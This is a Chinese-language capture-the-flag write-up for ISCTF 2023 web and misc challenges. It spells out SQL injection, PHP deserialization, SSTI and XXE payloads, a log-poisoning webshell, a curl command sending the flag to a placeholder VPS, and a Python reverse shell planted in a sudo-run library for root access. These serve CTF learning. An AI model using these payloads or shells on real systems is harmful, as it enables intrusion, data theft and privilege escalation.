RE:ISCTF2023

RE:ISCTF2023
EZL1NGWEB
圣杯战争!!!
1 |
|
php反序列化
__invoke() :将对象当作函数来使用时执行此方法
__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发
__toString(): 当一个对象被当作字符串使用时触发
首先先找反序列化链入口,这里没有 __destruct()
,能触发的只有 __wakeup()
,入口从__wakeup()
进,出口从__invoke()
的include
出现的魔术函数,有 __wakeup()
,__toString()
,__invoke()
,__get()
__wakeup()
是入口,$this->Saber
是被当成字符串使用的,进入 __toString()
,然后__get()
,触发__invoke()
伪协议包含读文件
1 |
|
payload
1 | O%3A6%3A%22summon%22%3A2%3A%7Bs%3A5%3A%22Saber%22%3BO%3A8%3A%22artifact%22%3A2%3A%7Bs%3A10%3A%22excalibuer%22%3BO%3A7%3A%22prepare%22%3A1%3A%7Bs%3A7%3A%22release%22%3BO%3A5%3A%22saber%22%3A1%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A5%3A%22arrow%22%3BO%3A7%3A%22prepare%22%3A1%3A%7Bs%3A7%3A%22release%22%3BO%3A5%3A%22saber%22%3A1%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A5%3A%22Rider%22%3Bs%3A0%3A%22%22%3B%7D |
绕进你的心里
1 |
|
md5为强判断通过数组绕过
1 | zhurong[]=1&hongmeng[]=2&shennong[]=3 |
pan_gu使用正则回溯绕过
1 | import requests |
或者使用控制台运行
1 | (await(await fetch("/?zhurong[]=1&hongmeng[]=0&shennong[]=1", { |
Where is the flag
1 |
|
传参
1 | 1=system('ls;tac f*'); |
得到
1 | FLAG1:ISCTF{Y0u_6u |
使用中国蚁剑进行连接
发现在根目录存在
flag
1 | FLAG2:cceeded_in_f |
flag.sh
1 | export FLAG3=ind1n9_f1ag} |
综上flag为
ISCTF{Y0u_6ucceeded_in_find1n9_f1ag}
网上看到的控制台一键梭命令
1 | part1 = (await eval(`system("cat flag.php");`)).match(/ISCTF\{.{4}/g)[0] |
easy_website
用户名输入
1 | admin' |
返回
1 | 数据库查询失败:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3590cb8af0bbb9e78c343b52b93773c9'' at line 1<br /> |
说明此题考察sql注入
测试发现对空格存在过滤,使用/**/进行替代
对-和+进行过滤,使用#进行绕过
此外存在对order中的or进行过滤,使用双写进行绕过
1 | 1' oorrder/**/by/**/1/**/# |
发现为显示位为1
打联合注入(union)
1 | username=admin'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/group_concat(database())#&password=1 |
得到数据库名字为
1 | 用户$users$登录成功 |
注入获取表名(注意information需要双写oorr)
1 | username=1'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')#&password=1 |
获得表名为
1 | 用户$users$登录成功 |
接着注入获取列名
1 | username=1'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')#&password=1 |
获得users库中users表的列
1 | 用户$USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,ip,time,user,password$登录成功 |
注入获取flag
1 | username=1'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/(seselectlect/**/group_concat(passwoorrd)/**/from/**/users.users)#&password=1 |
获得flag
1 | 用户$21232f297a57a5a743894a0e4a801fc3,084e0343a0486ff05530df6c705c8bb4,ISCTF{37785fb9-580c-484c-8885-8152477d66ba}$登录成功 |
wafr
1 |
|
一些常规过滤
preg_match正则匹配POST传入的cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim这些命令,以及字符。
未对system进行过滤
使用\将命令隔开
1 | code=system('ca\t f*') |
webinclude
dirsearch扫描发现了
flag.php和index.bak路由
1 | function string_to_int_array(str){ |
当hask为dxdydxdudxdtdxeadxekdxea是输出flag.html
1 | hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter)))) |
函数功能说明
string_to_int_array(str)
:- 输入:字符串
str
- 处理:遍历字符串的每个字符,计算其 Unicode 编码(
charcode
)。 - 计算:
partA = Math.floor(charcode / 26)
(商)partB = charcode % 26
(余数)
- 输出:数组
intArr
,包含每个字符的partA
和partB
(按顺序交替存放)。 - 示例:字符
'm'
(编码 109)→partA=4
(109/26=4.19
取整),partB=5
(109%26=5
)→ 数组添加[4, 5]
。
- 输入:字符串
int_array_to_text(int_array)
:- 输入:整数数组
int_array
- 处理:遍历数组的每个整数
n
,计算97 + n
并转换为对应字符(ASCII 97 是'a'
)。 - 输出:字符串,其中每个整数映射为
a-z
(0->'a'
,1->'b'
, …,25->'z'
)。 - 示例:整数
4
→97+4=101
→ 字符'e'
。
- 输入:整数数组
核心转换流程
输入 parameter
经过以下四步转换:
javascript
1 | hash = int_array_to_text( |
目标:hash === 'dxdydxdudxdtdxeadxekdxea'
。
逆向推导目标输入
我们需要找到 parameter
使得最终输出等于目标字符串。从后向前逆向推导:
最终输出
hash
是'dxdydxdudxdtdxeadxekdxea'
:长度 24 个字符。
使用
int_array_to_text
的逆操作:每个字符减去 97,得到整数数组:javascript
1
2// 例如:'d' -> 100 - 97 = 3, 'x' -> 120 - 97 = 23
[3,23, 3,24, 3,23, 3,20, 3,23, 3,19, 3,23, 4,0, 3,23, 4,10, 3,23, 4,0]
上一步是
string_to_int_array
的输出:输入是字符串(记为
str2
),长度应为整数数组长度的一半(24/2=12)。整数数组每两个元素
[partA, partB]
对应str2
的一个字符:charcode = partA * 26 + partB
计算:
javascript
1
2
3
4
5
6
7
8
9
10
11
12
13// 示例:第一组 [3,23] -> 3*26 + 23 = 101 -> 字符 'e'
[3,23] -> 101 -> 'e'
[3,24] -> 102 -> 'f'
[3,23] -> 101 -> 'e'
[3,20] -> 98 -> 'b'
[3,23] -> 101 -> 'e'
[3,19] -> 97 -> 'a'
[3,23] -> 101 -> 'e'
[4,0] -> 104 -> 'h'
[3,23] -> 101 -> 'e'
[4,10] -> 114 -> 'r'
[3,23] -> 101 -> 'e'
[4,0] -> 104 -> 'h'得到中间字符串
str2 = "efebeaehereh"
。
上一步是
int_array_to_text
的输出:输入是整数数组(记为
arr1
)。对
str2
应用逆操作:每个字符减去 97,得到arr1
:javascript
1
2// 例如:'e' -> 101 - 97 = 4, 'f' -> 102 - 97 = 5
[4,5, 4,1, 4,0, 4,7, 4,17, 4,7]
上一步是
string_to_int_array
的输出:输入是原始
parameter
,长度应为arr1
长度的一半(12/2=6)。每两个元素
[partA, partB]
对应一个字符:javascript
1
2
3
4
5
6
7// 示例:第一组 [4,5] -> 4*26 + 5 = 109 -> 'm'
[4,5] -> 109 -> 'm'
[4,1] -> 105 -> 'i'
[4,0] -> 104 -> 'h'
[4,7] -> 111 -> 'o'
[4,17] -> 121 -> 'y'
[4,7] -> 111 -> 'o'得到原始输入 **
parameter = "mihoyo"
**。
验证
用 parameter = "mihoyo"
正向执行流程:
string_to_int_array("mihoyo")
→[4,5, 4,1, 4,0, 4,7, 4,17, 4,7]
int_array_to_text([4,5,...])
→"efebeaehereh"
string_to_int_array("efebeaehereh")
→[3,23, 3,24, ... ,4,0]
int_array_to_text([3,23,...])
→"dxdydxdudxdtdxeadxekdxea"
(等于目标值)
控制台逆向
1 | const hash = 'dxdydxdudxdtdxeadxekdxea' |
python脚本
1 | def reverse_process(target_hash): |
得到mihoyo
访问
1 | ?mihoyo=1 |
返回
1 | show me your parameter!!! |
访问
1 | ?mihoyo=/var/log/nginx/access.log |
发现返回日志
打文件包含
1 | ?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php |
得到flag的base64
1 | (async () => { |
1z_Ssql
打开为一个登录界面
打联合注入失败
跑fuzz发现以下为黑名单
1 | for |
过滤打布尔盲注
由于复现无数据库表名与列名
脚本来源
https://j-0k3r.github.io/2023/11/29/ISCTF%202023/#1z-Ssql
1 | import requests |
爆破数据库与密码
1 | import requests |
登录得到flag
恐怖G7人
输入框输入
1 | {{2*2}} |
输出4
打ssti
1 | {{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}} |
返回
1 | __pycache__ app.py bin dev etc f1__A_g.txt home lib media mnt opt proc requirements.txt root run sbin srv static sys tmp usr var waf.py |
查看f1__A_g.txt
1 | {{lipsum.__globals__.__builtins__.__import__('os').popen('cat f1__A_g.txt').read()}} |
得到假flag
使用工具焚靖
表单输入 char,getshell
查看环境变量输入
1 | printenv |
得到flag
ez_ini
打开为一个文件上传前端
直接上传php,发现存在限制
扫描发现存在/upload.php
根据题目可能考察.user.ini配置文件
.user.ini中写入auto_prepend_file = 1.png
上传
上传含有一句话木马的1.png
发现存在过滤,且无法上传png文件
换一种方法
直接在.user.ini填写
1 | auto_append_file=/var/log/nginx/access.log |
然后UA加上一句话木马
POST包如下
1 | POST /upload.php HTTP/1.1 |
然后再/upload.php进行命令执行
由于是复现环境,在根目录直接cat flag失败,读取环境变量获得flag
1 | 1=system('printenv'); |
ez_php
查看源码发现在register.php会创建一个xml文件
存在extract变量覆盖和XXE注入漏洞
1 |
|
config.php
user_info_dir存放位置在/tmp/users/
1 |
|
function.php
1 |
|
注册一个用户会创建$user_info_dir.$username的目录,并新建一个用户名.xml的文件,并把$user_xml写入
所有的变量都是可控的。
构建payload
1 | /register.php?username=123&password=1&config['user_info_dir']=/var/www/html/ |
访问123/123.xml
获得了回显
然后根据function.php中的接受外部实体注入
1 | function get_user_record($username, $user_info_dir) |
打XXE
用register.php里面的XML格式,构造
1 | user_xml_format=<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> |
注意:Content-Type应该为
1 | Content-Type: application/x-www-form-urlencoded |
使用错误密码登录,进行信息带出
尝试路径穿越读flag
得到flag
Fuzz!
1 |
|
题目要求使用curl命令执行
fuzz一下
1 |
|
以下字符可使用
1 | -./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz{|}� |
排除数字和字母
1 | -./:[]{|}� |
“|”没ban,可以放在开头结束前面的curl,然后拼接我们自己的系统命令
flag关键字过滤可以用”[]”正则匹配绕过
payload:
1 | ?file=|tac%20/fl[a-z]ggggggg.txt |
curl外带:
1 | ?file=-T /fla[g]gggggg.txt -a http://vps的ip:port |
MISC
PNG的基本食用
png1
修复宽高
ISCTF{png-is-
png2
得到so-ez-
png3
010查看存在7z压缩包
提取得到part3.txt
for-you}
ISCTF{png-is-so-ez-for-you}
小蓝鲨的秘密
得到一个加密的压缩包猜测为伪加密
修复得到一个flag.txt
1 | 可爱的小蓝鲨不知道这个字符串是什么,强大的你,你能告诉小蓝鲨吗? |
和图片
图片修复宽高后
得到key 15CTF2023
txt中的内容base64解码为
1 | Salted__âñ¶ÞòÐïmrpÂÉê+¤¹±«¼é IÜxG# |
后续参考其他师傅wp发现为AES解密
http://www.esjson.com/aesEncrypt.html
杰伦可是流量明星
login.mp3为一个压缩包
里边为一个crypto.mp3与login.pcapng
login.pcapng流量包里存在flag
你说你爱我?尊嘟假嘟?
打开word为
你说你爱我 尊嘟 假嘟
类似于Ook加密
使用 Ook.
Ook!
Ook?
分别替换 你说爱我,尊嘟,假嘟
ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z
easy_zip
爆破
566319
Ez_misc
ppt中有以下五个密码
P@ssW0rd
Password
Passisctf
isctf2023
M13c_!ps2s23
正确密码为M13c_!ps2s23
解压得到图片
打不开图片
010查看发现JFJF块,缺少jpg文件头
补全jpg文件头
得到二维码
蓝鲨的福利
发现IHDR块,但是少了PNG文件头
加上89 50 4E 47
张万森,下雪了
给了字典和压缩包
直接字典爆破
flag是假的
tip.txt为base64
发现其base64解密17此后无法继续解码
参考wp发现考察snow解密
对17次base64解密后的内容字符统计得到
密码为ISCTFZ023
使用snow解密
镜流
爆破得到密码306256
hint提示把照片缩小10倍
1 | from PIL import Image |
得到一张缩略图
lsb存在图片隐写提取bin得到一张图片
spalshes
spalshes.txt中的密文base64解密后得到
开始以为是另类加密密文,后面发现为坐标
使用脚本绘图
1 | import matplotlib.pyplot as plt |
得到解压密码895736
得到二维码扫描得到flag
stream
为数据库注入流量包
找所有注入成功的 HTTP Response 对应的 HTTP Request
这里是frame.len == 1072所有成功的 HTTP Response 对应的 HTTP Request
按顺序扒出其中的字符
脚本方案参考:
https://www.cnblogs.com/yunqian2017/p/15124198.html
小猫
发现存在坐标
发现存在jpg文件头
提取bin删除多余十六进制
猜测核心价值观简历xy坐标,上图坐标依次读取,最后为核心价值观解密
1 | 3,2 3,2 3,2 3,3 3,1 3,2 2,1 |
1 | rep = [ |
公正公正公正诚信文明公正民主公正法治法治诚信民主公正民主公正和谐公正民主和谐民主和谐敬业和谐平等公正公正公正自由和谐和谐公正自由和谐富强公正公正和谐文明和谐和谐和谐敬业和谐文明和谐平等和谐自由和谐爱国公正自由和谐富强和谐文明和谐敬业和谐法治和谐公正和谐法治公正自由公正文明公正公正和谐法治和谐公正和谐公正法治友善法治
解码得到flag
ezUSB
存在蓝牙和usb流量
tshark- T json -r 题目.pcapng >output.json
提取数据以json格式
usb流量:
strings output.json | grep “usbhid.data”>1.txt(提取usb流量)
取所有usb流量中框中部分
1 | normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} |
得到后半段flag
_sov_jmfyffjs!!!}
蓝牙流量:
strings output.json | grep “btatt.value”>2.txt
依旧留8位
1 | normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} |
得到前半段flag
AGGSZ{Kp_wn_YRV
并不是flag
收集删除(del)的字符可以发现key:soezusb
维吉尼亚在线解码
1 | ISCTF{So_ez_USB_and_vigenere!!!} |
小白小黑
隐约可以看出是由数字构成的二维码
其中一些数字代表白色,剩下的数字代表黑色
CyberChef一键梭
脚本
可以根据txt绘制一张新的图片,如果数据小于5就绘制为白色,如果数据大于等于5就绘制为黑色,得到歪曲的二维码
1 | from PIL import Image |
一心不可二用
加密压缩包备注
unexpected EOF while parsing
应该是 SyntaxError
,所以压缩包的密码是 SyntaxError
。解压后得到 Flag。
EZcrc
爆破
1 | import zlib |
对表解码
1 | import base64 |
sudopy
ssh -p 20353 ctf@gz.imxbt.cn
发现直接cat flag无权限,但是可以查看web.py
sudo -l 显示出自己(执行 sudo 的使用者)的权限
web.py导入了一个叫webbrowser的库
找它的位置
find /usr -name webbrowser.py
在/usr/lib/python3.10/webbrowser.py
在webbrowser.py里放入反弹shell
vim /usr/lib/python3.10/webbrowser.py
1 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); |
攻击机nc -lvnp 端口 开启监听
靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py
成功连接,并且是root权限
接着cd /home/ctf 后 cat flag即可
参考文章:
https://www.freebuf.com/vuls/279298.html
Wonderful New World
我的世界游戏中
前半部分在侧面,有一堆方块堆成的直线,是摩斯电码
橙色方块是短点.,史莱姆块是短划-,黑色方块是分割
另外一部分在日志文件
一串十进制数,转换为ascii码,base64编码字符串,解密得到后半部分
DISK
名字逆置解码得到了错误的flag ISCTF{This_is_Not_True_flag}
溯源发现之前名字为
1 | 1230193492 |
处理(long_to_bytes
)
1 | from Crypto.Util.number import * |
得到flag
参考:
https://www.cnblogs.com/WXjzc/p/16702647.html
status
ssh -p 20360 ctf@gz.imxbt.cn
查一下 SUID 文件:
1 | find / -perm -u=s -type f 2>/dev/null |
发现 /home/ctf/checkgenshin
是 SUID 文件,将其下载下来后进行逆向,发现其会用 root
执行命令 service ssh status
。那就直接给他把 service 劫持了:
1 | ctf@ae59c6013521:~$ export PATH=/home/ctf:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin |